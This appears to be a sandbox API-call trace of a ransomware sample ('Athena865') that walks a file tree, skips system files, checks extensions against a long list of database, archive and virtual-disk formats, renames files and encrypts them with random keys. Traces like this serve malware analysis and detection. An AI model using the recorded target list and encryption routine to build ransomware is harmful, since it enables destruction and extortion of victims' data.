lstrlenW (lpString="maw") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="maw") returned -1 [0066.919] lstrlenW (lpString="mdbhtml") returned 7 [0066.919] lstrcmpiW (lpString1="TEL.DIC", lpString2="mdbhtml") returned 1 [0066.919] lstrlenW (lpString="mdn") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="mdn") returned -1 [0066.919] lstrlenW (lpString="mdt") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="mdt") returned -1 [0066.919] lstrlenW (lpString="mfd") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="mfd") returned -1 [0066.919] lstrlenW (lpString="mpd") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="mpd") returned -1 [0066.919] lstrlenW (lpString="mrg") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="mrg") returned -1 [0066.919] lstrlenW (lpString="mud") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="mud") returned -1 [0066.919] lstrlenW (lpString="mwb") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="mwb") returned -1 [0066.919] lstrlenW (lpString="myd") returned 3 [0066.919] lstrcmpiW (lpString1="DIC", lpString2="myd") returned -1 [0066.920] lstrlenW (lpString="ndf") returned 3 [0066.920] lstrcmpiW (lpString1="DIC", lpString2="ndf") returned -1 [0066.920] lstrlenW (lpString="nnt") returned 3 [0066.920] lstrcmpiW (lpString1="DIC", lpString2="nnt") returned -1 [0066.920] lstrlenW (lpString="nrmlib") returned 6 [0066.920] lstrcmpiW (lpString1="EL.DIC", lpString2="nrmlib") returned -1 [0066.920] lstrlenW (lpString="ns2") returned 3 [0066.920] lstrcmpiW (lpString1="DIC", lpString2="ns2") returned -1 [0066.920] lstrlenW (lpString="ns3") returned 3 [0066.920] lstrcmpiW (lpString1="DIC", lpString2="ns3") returned -1 [0066.920] lstrlenW (lpString="ns4") returned 3 [0066.920] lstrcmpiW (lpString1="DIC", lpString2="ns4") returned -1 [0066.920] lstrlenW (lpString="nsf") returned 3 [0066.920] lstrcmpiW (lpString1="DIC", lpString2="nsf") returned -1 [0066.920] lstrlenW (lpString="nv") returned 2 [0066.920] lstrcmpiW (lpString1="IC", lpString2="nv") returned -1 [0066.920] lstrlenW (lpString="nv2") returned 3 [0066.920] lstrcmpiW (lpString1="DIC", lpString2="nv2") returned -1 [0066.920] lstrlenW (lpString="nwdb") returned 4 [0066.920] lstrcmpiW (lpString1=".DIC", lpString2="nwdb") returned -1 [0066.920] lstrlenW (lpString="nyf") returned 3 [0066.920] lstrcmpiW (lpString1="DIC", lpString2="nyf") returned -1 [0066.920] lstrlenW (lpString="odb") returned 3 [0066.920] lstrcmpiW (lpString1="DIC", lpString2="odb") returned -1 [0066.920] lstrlenW (lpString="odb") returned 3 [0066.920] lstrcmpiW (lpString1="DIC", lpString2="odb") returned -1 [0066.920] lstrlenW (lpString="oqy") returned 3 [0066.920] lstrcmpiW (lpString1="DIC", lpString2="oqy") returned -1 [0066.920] lstrlenW (lpString="ora") returned 3 [0066.920] lstrcmpiW (lpString1="DIC", lpString2="ora") returned -1 [0066.920] lstrlenW (lpString="orx") returned 3 [0066.920] lstrcmpiW (lpString1="DIC", lpString2="orx") returned -1 [0066.921] lstrlenW (lpString="owc") returned 3 [0066.921] lstrcmpiW (lpString1="DIC", lpString2="owc") returned -1 [0066.921] lstrlenW (lpString="p96") returned 3 [0066.921] lstrcmpiW (lpString1="DIC", lpString2="p96") returned -1 [0066.921] lstrlenW (lpString="p97") returned 3 [0066.921] lstrcmpiW (lpString1="DIC", lpString2="p97") returned -1 [0066.921] lstrlenW (lpString="pan") returned 3 [0066.921] lstrcmpiW (lpString1="DIC", lpString2="pan") returned -1 [0066.921] lstrlenW (lpString="pdb") returned 3 [0066.921] lstrcmpiW (lpString1="DIC", lpString2="pdb") returned -1 [0066.921] lstrlenW (lpString="pdm") returned 3 [0066.921] lstrcmpiW (lpString1="DIC", lpString2="pdm") returned -1 [0066.921] lstrlenW (lpString="pnz") returned 3 [0066.921] lstrcmpiW (lpString1="DIC", lpString2="pnz") returned -1 [0066.921] lstrlenW (lpString="qry") returned 3 [0066.921] lstrcmpiW (lpString1="DIC", lpString2="qry") returned -1 [0066.921] lstrlenW (lpString="qvd") returned 3 [0066.921] lstrcmpiW (lpString1="DIC", lpString2="qvd") returned -1 [0066.921] lstrlenW (lpString="rbf") returned 3 [0066.921] lstrcmpiW (lpString1="DIC", lpString2="rbf") returned -1 [0066.921] lstrlenW (lpString="rctd") returned 4 [0066.921] lstrcmpiW (lpString1=".DIC", lpString2="rctd") returned -1 [0066.921] lstrlenW (lpString="rod") returned 3 [0066.921] lstrcmpiW (lpString1="DIC", lpString2="rod") returned -1 [0066.921] lstrlenW (lpString="rodx") returned 4 [0066.921] lstrcmpiW (lpString1=".DIC", lpString2="rodx") returned -1 [0066.921] lstrlenW (lpString="rpd") returned 3 [0066.921] lstrcmpiW (lpString1="DIC", lpString2="rpd") returned -1 [0066.921] lstrlenW (lpString="rsd") returned 3 [0066.921] lstrcmpiW (lpString1="DIC", lpString2="rsd") returned -1 [0066.921] lstrlenW (lpString="sas7bdat") returned 8 [0066.921] lstrcmpiW (lpString1="VTEL.DIC", lpString2="sas7bdat") returned 1 [0066.921] lstrlenW (lpString="sbf") returned 3 [0066.921] lstrcmpiW (lpString1="DIC", lpString2="sbf") returned -1 [0066.922] lstrlenW (lpString="scx") returned 3 [0066.922] lstrcmpiW (lpString1="DIC", lpString2="scx") returned -1 [0066.922] lstrlenW (lpString="sdb") returned 3 [0066.922] lstrcmpiW (lpString1="DIC", lpString2="sdb") returned -1 [0066.922] lstrlenW (lpString="sdc") returned 3 [0066.922] lstrcmpiW (lpString1="DIC", lpString2="sdc") returned -1 [0066.922] lstrlenW (lpString="sdf") returned 3 [0066.922] lstrcmpiW (lpString1="DIC", lpString2="sdf") returned -1 [0066.922] lstrlenW (lpString="sis") returned 3 [0066.922] lstrcmpiW (lpString1="DIC", lpString2="sis") returned -1 [0066.922] lstrlenW (lpString="spq") returned 3 [0066.922] lstrcmpiW (lpString1="DIC", lpString2="spq") returned -1 [0066.922] lstrlenW (lpString="te") returned 2 [0066.922] lstrcmpiW (lpString1="IC", lpString2="te") returned -1 [0066.922] lstrlenW (lpString="teacher") returned 7 [0066.922] lstrcmpiW (lpString1="TEL.DIC", lpString2="teacher") returned 1 [0066.922] lstrlenW (lpString="tmd") returned 3 [0066.922] lstrcmpiW (lpString1="DIC", lpString2="tmd") returned -1 [0066.922] lstrlenW (lpString="tps") returned 3 [0066.922] lstrcmpiW (lpString1="DIC", lpString2="tps") returned -1 [0066.922] lstrlenW (lpString="trc") returned 3 [0066.922] lstrcmpiW (lpString1="DIC", lpString2="trc") returned -1 [0066.922] lstrlenW (lpString="trc") returned 3 [0066.922] lstrcmpiW (lpString1="DIC", lpString2="trc") returned -1 [0066.922] lstrlenW (lpString="trm") returned 3 [0066.922] lstrcmpiW (lpString1="DIC", lpString2="trm") returned -1 [0066.922] lstrlenW (lpString="udb") returned 3 [0066.922] lstrcmpiW (lpString1="DIC", lpString2="udb") returned -1 [0066.922] lstrlenW (lpString="udl") returned 3 [0066.922] lstrcmpiW (lpString1="DIC", lpString2="udl") returned -1 [0066.922] lstrlenW (lpString="usr") returned 3 [0066.922] lstrcmpiW (lpString1="DIC", lpString2="usr") returned -1 [0066.923] lstrlenW (lpString="v12") returned 3 [0066.923] lstrcmpiW (lpString1="DIC", lpString2="v12") returned -1 [0066.923] lstrlenW (lpString="vis") returned 3 [0066.923] lstrcmpiW (lpString1="DIC", lpString2="vis") returned -1 [0066.923] lstrlenW (lpString="vpd") returned 3 [0066.923] lstrcmpiW (lpString1="DIC", lpString2="vpd") returned -1 [0066.923] lstrlenW (lpString="vvv") returned 3 [0066.923] lstrcmpiW (lpString1="DIC", lpString2="vvv") returned -1 [0066.923] lstrlenW (lpString="wdb") returned 3 [0066.923] lstrcmpiW (lpString1="DIC", lpString2="wdb") returned -1 [0066.923] lstrlenW (lpString="wmdb") returned 4 [0066.923] lstrcmpiW (lpString1=".DIC", lpString2="wmdb") returned -1 [0066.923] lstrlenW (lpString="wrk") returned 3 [0066.923] lstrcmpiW (lpString1="DIC", lpString2="wrk") returned -1 [0066.923] lstrlenW (lpString="xdb") returned 3 [0066.923] lstrcmpiW (lpString1="DIC", lpString2="xdb") returned -1 [0066.923] lstrlenW (lpString="xld") returned 3 [0066.923] lstrcmpiW (lpString1="DIC", lpString2="xld") returned -1 [0066.923] lstrlenW (lpString="xmlff") returned 5 [0066.923] lstrcmpiW (lpString1="L.DIC", lpString2="xmlff") returned -1 [0066.923] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC.Athena865") returned 63 [0066.923] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic.athena865"), dwFlags=0x1) returned 1 [0066.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0066.925] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3809238) returned 1 [0066.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.926] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.929] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.929] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.929] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a22e0, lpName=0x0) returned 0x154 [0066.931] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x1a22e0) returned 0x2d50000 [0067.012] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0067.081] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0067.099] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0067.100] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0067.100] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0067.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0067.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0067.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0067.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0067.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0067.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0067.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0067.101] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0067.116] CloseHandle (hObject=0x154) returned 1 [0067.116] CloseHandle (hObject=0x17c) returned 1 [0067.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0067.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0067.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0067.125] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c9700, ftCreationTime.dwHighDateTime=0x1c9c96b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x895c9700, ftLastWriteTime.dwHighDateTime=0x1c9c96b, nFileSizeHigh=0x0, nFileSizeLow=0x2e25e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ADVZIP.DIC", cAlternateFileName="")) returned 1 [0067.125] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0067.125] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0067.125] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2=".") returned 1 [0067.125] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2="..") returned 1 [0067.125] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2="windows") returned -1 [0067.125] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2="bootmgr") returned -1 [0067.125] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2="temp") returned -1 [0067.125] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2="pagefile.sys") returned -1 [0067.125] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2="boot") returned -1 [0067.125] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2="ids.txt") returned -1 [0067.125] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2="ntuser.dat") returned -1 [0067.125] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2="perflogs") returned -1 [0067.125] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2="MSBuild") returned -1 [0067.125] lstrlenW (lpString="ADVZIP.DIC") returned 10 [0067.125] lstrcpyW (in: lpString1=0x241e89e, lpString2="ADVZIP.DIC" | out: lpString1="ADVZIP.DIC") returned="ADVZIP.DIC" [0067.125] lstrlenW (lpString="ADVZIP.DIC") returned 10 [0067.125] lstrlenW (lpString="Athena865") returned 9 [0067.125] lstrcmpiW (lpString1="DVZIP.DIC", lpString2="Athena865") returned 1 [0067.126] lstrlenW (lpString=".dll") returned 4 [0067.126] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2=".dll") returned 1 [0067.126] lstrlenW (lpString=".lnk") returned 4 [0067.126] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2=".lnk") returned 1 [0067.126] lstrlenW (lpString=".ini") returned 4 [0067.126] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2=".ini") returned 1 [0067.126] lstrlenW (lpString=".sys") returned 4 [0067.126] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2=".sys") returned 1 [0067.126] lstrlenW (lpString="ADVZIP.DIC") returned 10 [0067.126] lstrlenW (lpString="bak") returned 3 [0067.126] lstrcmpiW (lpString1="DIC", lpString2="bak") returned 1 [0067.126] lstrlenW (lpString="ba_") returned 3 [0067.126] lstrcmpiW (lpString1="DIC", lpString2="ba_") returned 1 [0067.126] lstrlenW (lpString="dbb") returned 3 [0067.126] lstrcmpiW (lpString1="DIC", lpString2="dbb") returned 1 [0067.126] lstrlenW (lpString="vmdk") returned 4 [0067.126] lstrcmpiW (lpString1=".DIC", lpString2="vmdk") returned -1 [0067.126] lstrlenW (lpString="rar") returned 3 [0067.126] lstrcmpiW (lpString1="DIC", lpString2="rar") returned -1 [0067.126] lstrlenW (lpString="zip") returned 3 [0067.126] lstrcmpiW (lpString1="DIC", lpString2="zip") returned -1 [0067.126] lstrlenW (lpString="tgz") returned 3 [0067.126] lstrcmpiW (lpString1="DIC", lpString2="tgz") returned -1 [0067.126] lstrlenW (lpString="vbox") returned 4 [0067.126] lstrcmpiW (lpString1=".DIC", lpString2="vbox") returned -1 [0067.126] lstrlenW (lpString="vdi") returned 3 [0067.126] lstrcmpiW (lpString1="DIC", lpString2="vdi") returned -1 [0067.126] lstrlenW (lpString="vhd") returned 3 [0067.126] lstrcmpiW (lpString1="DIC", lpString2="vhd") returned -1 [0067.126] lstrlenW (lpString="vhdx") returned 4 [0067.126] lstrcmpiW (lpString1=".DIC", lpString2="vhdx") returned -1 [0067.126] lstrlenW (lpString="avhd") returned 4 [0067.127] lstrcmpiW (lpString1=".DIC", lpString2="avhd") returned -1 [0067.127] lstrlenW (lpString="db") returned 2 [0067.127] lstrcmpiW (lpString1="IC", lpString2="db") returned 1 [0067.127] lstrlenW (lpString="db2") returned 3 [0067.127] lstrcmpiW (lpString1="DIC", lpString2="db2") returned 1 [0067.127] lstrlenW (lpString="db3") returned 3 [0067.127] lstrcmpiW (lpString1="DIC", lpString2="db3") returned 1 [0067.127] lstrlenW (lpString="dbf") returned 3 [0067.127] lstrcmpiW (lpString1="DIC", lpString2="dbf") returned 1 [0067.127] lstrlenW (lpString="mdf") returned 3 [0067.127] lstrcmpiW (lpString1="DIC", lpString2="mdf") returned -1 [0067.127] lstrlenW (lpString="mdb") returned 3 [0067.127] lstrcmpiW (lpString1="DIC", lpString2="mdb") returned -1 [0067.127] lstrlenW (lpString="sql") returned 3 [0067.127] lstrcmpiW (lpString1="DIC", lpString2="sql") returned -1 [0067.127] lstrlenW (lpString="sqlite") returned 6 [0067.127] lstrcmpiW (lpString1="IP.DIC", lpString2="sqlite") returned -1 [0067.127] lstrlenW (lpString="sqlite3") returned 7 [0067.127] lstrcmpiW (lpString1="ZIP.DIC", lpString2="sqlite3") returned 1 [0067.127] lstrlenW (lpString="sqlitedb") returned 8 [0067.127] lstrcmpiW (lpString1="VZIP.DIC", lpString2="sqlitedb") returned 1 [0067.127] lstrlenW (lpString="xml") returned 3 [0067.127] lstrcmpiW (lpString1="DIC", lpString2="xml") returned -1 [0067.127] lstrlenW (lpString="$er") returned 3 [0067.127] lstrcmpiW (lpString1="DIC", lpString2="$er") returned 1 [0067.127] lstrlenW (lpString="4dd") returned 3 [0067.127] lstrcmpiW (lpString1="DIC", lpString2="4dd") returned 1 [0067.127] lstrlenW (lpString="4dl") returned 3 [0067.127] lstrcmpiW (lpString1="DIC", lpString2="4dl") returned 1 [0067.127] lstrlenW (lpString="^^^") returned 3 [0067.127] lstrcmpiW (lpString1="DIC", lpString2="^^^") returned 1 [0067.127] lstrlenW (lpString="abs") returned 3 [0067.128] lstrcmpiW (lpString1="DIC", lpString2="abs") returned 1 [0067.128] lstrlenW (lpString="abx") returned 3 [0067.128] lstrcmpiW (lpString1="DIC", lpString2="abx") returned 1 [0067.128] lstrlenW (lpString="accdb") returned 5 [0067.128] lstrcmpiW (lpString1="P.DIC", lpString2="accdb") returned 1 [0067.128] lstrlenW (lpString="accdc") returned 5 [0067.128] lstrcmpiW (lpString1="P.DIC", lpString2="accdc") returned 1 [0067.128] lstrlenW (lpString="accde") returned 5 [0067.128] lstrcmpiW (lpString1="P.DIC", lpString2="accde") returned 1 [0067.128] lstrlenW (lpString="accdr") returned 5 [0067.128] lstrcmpiW (lpString1="P.DIC", lpString2="accdr") returned 1 [0067.128] lstrlenW (lpString="accdt") returned 5 [0067.128] lstrcmpiW (lpString1="P.DIC", lpString2="accdt") returned 1 [0067.128] lstrlenW (lpString="accdw") returned 5 [0067.128] lstrcmpiW (lpString1="P.DIC", lpString2="accdw") returned 1 [0067.128] lstrlenW (lpString="accft") returned 5 [0067.128] lstrcmpiW (lpString1="P.DIC", lpString2="accft") returned 1 [0067.128] lstrlenW (lpString="adb") returned 3 [0067.128] lstrcmpiW (lpString1="DIC", lpString2="adb") returned 1 [0067.128] lstrlenW (lpString="adb") returned 3 [0067.128] lstrcmpiW (lpString1="DIC", lpString2="adb") returned 1 [0067.128] lstrlenW (lpString="ade") returned 3 [0067.128] lstrcmpiW (lpString1="DIC", lpString2="ade") returned 1 [0067.128] lstrlenW (lpString="adf") returned 3 [0067.128] lstrcmpiW (lpString1="DIC", lpString2="adf") returned 1 [0067.128] lstrlenW (lpString="adn") returned 3 [0067.128] lstrcmpiW (lpString1="DIC", lpString2="adn") returned 1 [0067.128] lstrlenW (lpString="adp") returned 3 [0067.128] lstrcmpiW (lpString1="DIC", lpString2="adp") returned 1 [0067.128] lstrlenW (lpString="alf") returned 3 [0067.128] lstrcmpiW (lpString1="DIC", lpString2="alf") returned 1 [0067.128] lstrlenW (lpString="ask") returned 3 [0067.129] lstrcmpiW (lpString1="DIC", lpString2="ask") returned 1 [0067.129] lstrlenW (lpString="btr") returned 3 [0067.129] lstrcmpiW (lpString1="DIC", lpString2="btr") returned 1 [0067.129] lstrlenW (lpString="cat") returned 3 [0067.129] lstrcmpiW (lpString1="DIC", lpString2="cat") returned 1 [0067.129] lstrlenW (lpString="cdb") returned 3 [0067.129] lstrcmpiW (lpString1="DIC", lpString2="cdb") returned 1 [0067.129] lstrlenW (lpString="ckp") returned 3 [0067.129] lstrcmpiW (lpString1="DIC", lpString2="ckp") returned 1 [0067.129] lstrlenW (lpString="cma") returned 3 [0067.129] lstrcmpiW (lpString1="DIC", lpString2="cma") returned 1 [0067.129] lstrlenW (lpString="cpd") returned 3 [0067.129] lstrcmpiW (lpString1="DIC", lpString2="cpd") returned 1 [0067.129] lstrlenW (lpString="dacpac") returned 6 [0067.129] lstrcmpiW (lpString1="IP.DIC", lpString2="dacpac") returned 1 [0067.129] lstrlenW (lpString="dad") returned 3 [0067.129] lstrcmpiW (lpString1="DIC", lpString2="dad") returned 1 [0067.129] lstrlenW (lpString="dadiagrams") returned 10 [0067.129] lstrlenW (lpString="daschema") returned 8 [0067.129] lstrcmpiW (lpString1="VZIP.DIC", lpString2="daschema") returned 1 [0067.129] lstrlenW (lpString="db-journal") returned 10 [0067.129] lstrlenW (lpString="db-shm") returned 6 [0067.129] lstrcmpiW (lpString1="IP.DIC", lpString2="db-shm") returned 1 [0067.129] lstrlenW (lpString="db-wal") returned 6 [0067.129] lstrcmpiW (lpString1="IP.DIC", lpString2="db-wal") returned 1 [0067.129] lstrlenW (lpString="dbc") returned 3 [0067.129] lstrcmpiW (lpString1="DIC", lpString2="dbc") returned 1 [0067.129] lstrlenW (lpString="dbs") returned 3 [0067.129] lstrcmpiW (lpString1="DIC", lpString2="dbs") returned 1 [0067.129] lstrlenW (lpString="dbt") returned 3 [0067.129] lstrcmpiW (lpString1="DIC", lpString2="dbt") returned 1 [0067.129] lstrlenW (lpString="dbv") returned 3 [0067.130] lstrcmpiW (lpString1="DIC", lpString2="dbv") returned 1 [0067.130] lstrlenW (lpString="dbx") returned 3 [0067.130] lstrcmpiW (lpString1="DIC", lpString2="dbx") returned 1 [0067.130] lstrlenW (lpString="dcb") returned 3 [0067.130] lstrcmpiW (lpString1="DIC", lpString2="dcb") returned 1 [0067.130] lstrlenW (lpString="dct") returned 3 [0067.130] lstrcmpiW (lpString1="DIC", lpString2="dct") returned 1 [0067.130] lstrlenW (lpString="dcx") returned 3 [0067.130] lstrcmpiW (lpString1="DIC", lpString2="dcx") returned 1 [0067.130] lstrlenW (lpString="ddl") returned 3 [0067.130] lstrcmpiW (lpString1="DIC", lpString2="ddl") returned 1 [0067.130] lstrlenW (lpString="dlis") returned 4 [0067.130] lstrcmpiW (lpString1=".DIC", lpString2="dlis") returned -1 [0067.130] lstrlenW (lpString="dp1") returned 3 [0067.130] lstrcmpiW (lpString1="DIC", lpString2="dp1") returned -1 [0067.130] lstrlenW (lpString="dqy") returned 3 [0067.130] lstrcmpiW (lpString1="DIC", lpString2="dqy") returned -1 [0067.130] lstrlenW (lpString="dsk") returned 3 [0067.130] lstrcmpiW (lpString1="DIC", lpString2="dsk") returned -1 [0067.130] lstrlenW (lpString="dsn") returned 3 [0067.130] lstrcmpiW (lpString1="DIC", lpString2="dsn") returned -1 [0067.130] lstrlenW (lpString="dtsx") returned 4 [0067.130] lstrcmpiW (lpString1=".DIC", lpString2="dtsx") returned -1 [0067.130] lstrlenW (lpString="dxl") returned 3 [0067.130] lstrcmpiW (lpString1="DIC", lpString2="dxl") returned -1 [0067.130] lstrlenW (lpString="eco") returned 3 [0067.130] lstrcmpiW (lpString1="DIC", lpString2="eco") returned -1 [0067.130] lstrlenW (lpString="ecx") returned 3 [0067.130] lstrcmpiW (lpString1="DIC", lpString2="ecx") returned -1 [0067.130] lstrlenW (lpString="edb") returned 3 [0067.130] lstrcmpiW (lpString1="DIC", lpString2="edb") returned -1 [0067.130] lstrlenW (lpString="epim") returned 4 [0067.131] lstrcmpiW (lpString1=".DIC", lpString2="epim") returned -1 [0067.131] lstrlenW (lpString="fcd") returned 3 [0067.131] lstrcmpiW (lpString1="DIC", lpString2="fcd") returned -1 [0067.131] lstrlenW (lpString="fdb") returned 3 [0067.131] lstrcmpiW (lpString1="DIC", lpString2="fdb") returned -1 [0067.131] lstrlenW (lpString="fic") returned 3 [0067.131] lstrcmpiW (lpString1="DIC", lpString2="fic") returned -1 [0067.131] lstrlenW (lpString="flexolibrary") returned 12 [0067.131] lstrlenW (lpString="fm5") returned 3 [0067.131] lstrcmpiW (lpString1="DIC", lpString2="fm5") returned -1 [0067.131] lstrlenW (lpString="fmp") returned 3 [0067.131] lstrcmpiW (lpString1="DIC", lpString2="fmp") returned -1 [0067.131] lstrlenW (lpString="fmp12") returned 5 [0067.131] lstrcmpiW (lpString1="P.DIC", lpString2="fmp12") returned 1 [0067.131] lstrlenW (lpString="fmpsl") returned 5 [0067.131] lstrcmpiW (lpString1="P.DIC", lpString2="fmpsl") returned 1 [0067.131] lstrlenW (lpString="fol") returned 3 [0067.131] lstrcmpiW (lpString1="DIC", lpString2="fol") returned -1 [0067.131] lstrlenW (lpString="fp3") returned 3 [0067.131] lstrcmpiW (lpString1="DIC", lpString2="fp3") returned -1 [0067.131] lstrlenW (lpString="fp4") returned 3 [0067.131] lstrcmpiW (lpString1="DIC", lpString2="fp4") returned -1 [0067.131] lstrlenW (lpString="fp5") returned 3 [0067.131] lstrcmpiW (lpString1="DIC", lpString2="fp5") returned -1 [0067.131] lstrlenW (lpString="fp7") returned 3 [0067.131] lstrcmpiW (lpString1="DIC", lpString2="fp7") returned -1 [0067.131] lstrlenW (lpString="fpt") returned 3 [0067.131] lstrcmpiW (lpString1="DIC", lpString2="fpt") returned -1 [0067.131] lstrlenW (lpString="frm") returned 3 [0067.131] lstrcmpiW (lpString1="DIC", lpString2="frm") returned -1 [0067.131] lstrlenW (lpString="gdb") returned 3 [0067.132] lstrcmpiW (lpString1="DIC", lpString2="gdb") returned -1 [0067.132] lstrlenW (lpString="gdb") returned 3 [0067.132] lstrcmpiW (lpString1="DIC", lpString2="gdb") returned -1 [0067.132] lstrlenW (lpString="grdb") returned 4 [0067.132] lstrcmpiW (lpString1=".DIC", lpString2="grdb") returned -1 [0067.132] lstrlenW (lpString="gwi") returned 3 [0067.132] lstrcmpiW (lpString1="DIC", lpString2="gwi") returned -1 [0067.132] lstrlenW (lpString="hdb") returned 3 [0067.132] lstrcmpiW (lpString1="DIC", lpString2="hdb") returned -1 [0067.132] lstrlenW (lpString="his") returned 3 [0067.132] lstrcmpiW (lpString1="DIC", lpString2="his") returned -1 [0067.132] lstrlenW (lpString="ib") returned 2 [0067.132] lstrcmpiW (lpString1="IC", lpString2="ib") returned 1 [0067.132] lstrlenW (lpString="idb") returned 3 [0067.132] lstrcmpiW (lpString1="DIC", lpString2="idb") returned -1 [0067.132] lstrlenW (lpString="ihx") returned 3 [0067.132] lstrcmpiW (lpString1="DIC", lpString2="ihx") returned -1 [0067.132] lstrlenW (lpString="itdb") returned 4 [0067.132] lstrcmpiW (lpString1=".DIC", lpString2="itdb") returned -1 [0067.132] lstrlenW (lpString="itw") returned 3 [0067.132] lstrcmpiW (lpString1="DIC", lpString2="itw") returned -1 [0067.132] lstrlenW (lpString="jet") returned 3 [0067.132] lstrcmpiW (lpString1="DIC", lpString2="jet") returned -1 [0067.132] lstrlenW (lpString="jtx") returned 3 [0067.132] lstrcmpiW (lpString1="DIC", lpString2="jtx") returned -1 [0067.132] lstrlenW (lpString="kdb") returned 3 [0067.132] lstrcmpiW (lpString1="DIC", lpString2="kdb") returned -1 [0067.132] lstrlenW (lpString="kexi") returned 4 [0067.132] lstrcmpiW (lpString1=".DIC", lpString2="kexi") returned -1 [0067.132] 